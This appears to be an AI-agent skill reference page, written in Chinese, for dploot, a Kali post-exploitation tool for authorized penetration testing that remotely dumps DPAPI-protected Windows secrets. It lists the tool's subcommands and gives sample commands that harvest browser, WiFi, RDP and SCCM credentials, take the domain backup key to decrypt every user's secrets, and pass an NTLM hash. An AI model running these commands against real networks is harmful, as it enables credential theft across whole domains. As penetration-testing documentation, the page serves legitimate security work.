x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/dploot.md
View on GitHub# dploot
- **Category**: Post-Exploitation / Credential Harvesting
- **Risk Level**: 🔴 High
---
## 描述
一款 Python 工具,用于远程提取 Windows 域成员机器上受 DPAPI(数据保护 API)保护的密钥——无需接触磁盘或落地文件。可提取浏览器保存的密码(Chrome、Edge、Firefox)、WiFi 密码、RDP 凭据、Azure/SCCM 令牌等。支持以域凭据、用户凭据或域 DPAPI 备份密钥(可解密所有用户的所有密钥)三种方式操作。
## 安装
```bash
sudo apt install python3-dploot
```
## 参数说明
### 子命令
| 参数 | 说明 |
|------|------|
| `triage` | 批量提取主密钥、凭据、rdg、证书、浏览器和保管库 |
| `browser` | 转储浏览器保存的凭据和 Cookie |
| `credentials` | 转储凭据管理器 blob |
| `certificates` | 转储用户证书 |
| `vaults` | 转储用户保管库 blob |
| `masterkeys` | 转储用户 DPAPI 主密钥 |
| `backupkey` | 从域控获取域 DPAPI 备份密钥 |
| `wifi` | 转储 WiFi 配置文件 |
| `rdg` | 转储 RDCMan 保存的密码 |
| `sccm` | 转储 SCCM 密钥(NAA、集合变量、任务序列) |
| `machinetriage` | 批量提取系统主密钥、凭据、证书和保管库 |
| `machinemasterkeys` | 转储系统主密钥 |
| `machinecredentials` | 转储系统凭据 |
| `machinecertificates` | 转储系统证书 |
| `machinevaults` | 转储系统保管库 |
| `mobaxterm` | 转储 MobaXterm 密码和凭据 |
| `wam` | 转储缓存的 Azure 令牌 |
| `blob` | 解密 DPAPI blob |
### 连接参数(所有子命令通用)
| 参数 | 说明 |
|------|------|
| `-t <target>` | 目标名称或地址,或 `LOCAL` |
| `-d <domain>` | 域名 |
| `-u <user>` | 用户名 |
| `-p <pass>` | 密码 |
| `-hashes <LMHASH:NTHASH>` | 用于认证的 NTLM 哈希 |
| `-k` | 使用 Kerberos 认证 |
| `-aesKey <key>` | 用于 Kerberos 的 AES 密钥 |
| `-use-kcache` | 使用 Kerberos 凭据缓存 |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-kdcHost <host>` | KDC 主机名 |
| `-no-pass` | 不询问密码 |
| `-debug` | 开启 DEBUG 输出 |
| `-quiet` | 仅输出转储的凭据 |
| `-export-dir <dir>` | 将提取的文件转储到指定目录 |
### 分类/解密选项
| 参数 | 说明 |
|------|------|
| `-pvk <file>` | 域 DPAPI 备份私钥文件 |
| `-mkfile <file>` | 包含 {GUID}:SHA1 主密钥映射的文件 |
| `-passwords <file>` | 包含 username:password 的文件,用于主密钥解密 |
| `-nthashes <file>` | 包含 username:nthash 的文件,用于主密钥解密 |
| `-dump-all` | 无论解密状态如何都转储所有凭据 |
## 常用命令
```bash
# 转储所有浏览器保存的凭据
dploot browser -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.10
# 转储 WiFi 密码
dploot wifi -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.10
# 转储 RDP 保存的凭据
dploot rdg -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.10
# 第一步:获取备份密钥(需要域管理员权限)
dploot backupkey -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.10
# 第二步:使用备份密钥解密任意用户的机密
dploot browser -pvk domain_backupkey.pvk -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.20
# 哈希传递(Pass-the-hash),内联 NTLM 哈希
dploot browser -d corp.local -u administrator -hashes :32ed87bdb5fdc5e9cba88547376818d4 -t 192.168.1.10
# 转储 SCCM/ConfigMgr 凭据
dploot sccm -d corp.local -u administrator -p 'P@ssw0rd' -t 192.168.1.10
```
## 注意事项
1. dploot 需要目标机器的本地管理员权限——请先通过横向移动获取该权限。
2. 域备份密钥(来自 `backupkey`)可解密所有域用户的全部 DPAPI 保护密钥——获得域管理员权限后优先获取它。
3. 浏览器凭据通常包含 VPN、云控制台和 Web 应用密码,这些通过其他方式无法获取。
4. 域成员笔记本电脑中的 WiFi 密码往往能揭示企业无线网络凭据。
5. 获取域管理员权限后,第一步运行 `dploot backupkey`——它能实现对整个域的通用解密能力。
---
## 官方参考
- [dploot (GitHub)](https://github.com/zblurx/dploot)
- [Kali dploot](https://www.kali.org/tools/dploot/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |